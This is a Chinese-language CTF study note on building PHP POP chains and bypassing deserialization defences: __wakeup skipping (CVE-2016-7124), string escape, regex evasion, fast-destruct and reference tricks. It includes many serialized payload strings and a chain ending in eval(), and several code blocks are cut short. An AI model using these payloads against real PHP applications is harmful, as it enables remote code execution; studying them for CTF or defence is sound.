php的pop链构造&反序列化
写在前面
构造 pop 链,归根结底就是一条绳子,从你开始的函数穿到危险函数(或者指向 flag),所以你要做的第一件事,就是确认你的开始和结尾。
部分魔术方法触发方法
__wakeup() 使用 unserialize()时优先触发
__sleep() 使用 serialize()时优先触发
__construct() 创建对象时自动触发
__destruct() 对象被销毁时自动触发
__get() 用于从不可访问的属性读取数据 $this->known->unknown;
__call() 在对象上下文中调用不可访问的方法时触发 $this->known->unknown();
__callStatic() 在静态上下文中调用不可访问的方法时触发 static $known;$this->known->unknown();
__set() 用于将数据写入不可访问的属性 $this->known->unknown='set';
__toString() 把变量当作字符串使用时触发 echo $this->known; die($this->known);
__invoke() 当尝试以调用函数的方式调用一个对象时触发 $this->known();
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
不含绕过的链子构造
__wakeup(), __construct(), __destruct() 都可以看做开头,优先级从左到右。你要做的,就是引导这个绳子头,直至穿到危险函数。
我们来看一道例题,这是我在学习构造 pop 链时做出的第一道题,出自 Geek Challenge 2024 unsign
|
我们注意到 class web 下存在一种很危险的格式
$eva1($this->interesting); 也就是在 $eva1="eval"时,就能用 eval()了,所以它作为尾。
链子总结如下
syc#cuit__destruct()->lover#yxx__invoke()->web#yxx__get()->eval()
关键 exp
$syc=new syc; |
需要绕过的链子构造
private 和 protected 属性的变量
PHP7.1 后对 private 和 protect 已不敏感,但之前的版本赋值时一定要注意
输出 serialize 时一定要经过编码,基本是 url 编码,如果题目要求 base64 编码就不用先 url 编码了
当你要对 private 和 protected 里的数赋值时,使用__construct()赋值
class web |
强调下 construct 的赋值方式,不能直接写$b, 要写$this->b, 且 function 前加 public。
str_replace 替换字符导致的字符串逃逸
比如替换函数为 str_replace(‘hacker’, ‘SDPCSEC’, $parm); 因为替换后被替换的字符串前的数字不变,所以每替换一次可以多出一个可供构造的字符。
举例:比如我想构造 ";} ,
构造的字符串为:
O:3:"CTF":4:{s:4:"name":s:21:"hackerhackerhacker";}";}
经过替换后:
O:3:"CTF":4:{s:4:"name":s:21:"SDPCSECSDPCSECSDPCSEC";}";}
替换后被替换的字符串前的数字匹配成功,导致字符串可被构造逃逸、
一个参考的构造程序,$a 开头要加"用于闭合。结尾要有; }用于结束反序列化。
替换后字符变多
|
替换后字符变少
(待更新)
wakeup 绕过
增加属性对象绕过(CVE-2016-7124)
PHP5 < 5.6.25 和 PHP7 < 7.0.10
我们增加 :{ 前的数字,这会绕过 wakeup 检测。
O:7:"Secrect":2:{s:13:"%00Secrect%00demo";s:15:"unseria1i2e.php";s:4:"file";s:8:"f14g.php";}
绕过为
O:7:"Secrect":3:{s:13:"%00Secrect%00demo";s:15:"unseria1i2e.php";s:4:"file";s:8:"f14g.php";}
C 开头绕过
ArrayObject 内置类可以构造以 C 开头的反序列化 https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#
//$a为进入的入口 |
这里注意 ArrayObject 构造 C 开头的序列化只在 PHP/7.3 之前的版本中存在。
又已知__unserialize()在 php7.4 才可用,但其实 C 开头在全版本都可用,所以 payload 在 7.3 版本跑不用担心过不去,把__unserialize()替换成__wakeup()一样可行。
正则匹配绕过
假设有这样一个序列化字符串:
O:4:"Test":1:{s:8:"username";s:5:"admin";}
假设此时的匹配为(preg_match(‘/username/’, $data)); 这时你可以把 username 前的 s 大写,并将你要绕过的内容或一部分转为 16 进制,如
O:4:"Test":1:{S:8:"\75sername";s:5:"admin";}
注:测试时发现 C 开头无法用大写 S 进行十六进制的绕过,O 开头和 a 开头没这个问题
如果此时的匹配为(preg_match(‘/O:[%d]’, $data)); 你可以这么写
O:+4:"Test":1:{s:8:"username";s:5:"admin";}
再不行就用 a 开头或 C 开头绕过,版本用 7.3 及以下。
a 开头:
$b=array($a);
echo serialize($b);
throw new Exception()绕过: GC 回收
throw new Error()或 throw new Exception()都属于非正常退出的情况,所以不会调用__destruct() 方法
具体绕过的参考文献
https://blog.csdn.net/Jayjay___/article/details/132463913
https://blog.csdn.net/Jayjay___/article/details/130647484
fast-destruct
正常 payload
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}
删除末尾花括号
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";
改数字:把最后 i 后的数字减少 1
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}
php issue#9618
版本条件:
- 7.4.x - 7.4.30
- 8.0.x
属性值的长度不匹配
//正常 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常 payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}
去掉内部类的分号
注:
这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
外部类去掉分号同理。
如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。
//正常 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N**;**}s:3:"end";s:1:"1";}
//去掉了内部类的分号的 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N}s:3:"end";s:2:"1";}
利用 null 回收
|
把最后的 i:1换成i:0,提前销毁
最终的链子为
a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:" third string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:0;N;}
取地址绕过 wakeup 赋值
这里举个例子:
|
求怎么拿到 flag。这里直接构造B; 是不行的,因为 wakeup 会把 a 改为字符串。
注意到$this->b = $this->t;如果赋值 a 为 b 的地址,那么当 b 赋值时会同样会为 a 赋值。
exp
$A = new A; |
同样这个小技巧也适用于 destruct 的初始赋值
两变量哈希相等
引用绕过
b 取 a 的地址
|
poc
$test=new test(); |
内置类绕过
Error(仅能用于 PHP7)
|
Exception(PHP5, PHP7 可用)
|
绕过反复调用
多实例化一个对象
举个例子:
|
exp 如下:
|
或者:
|

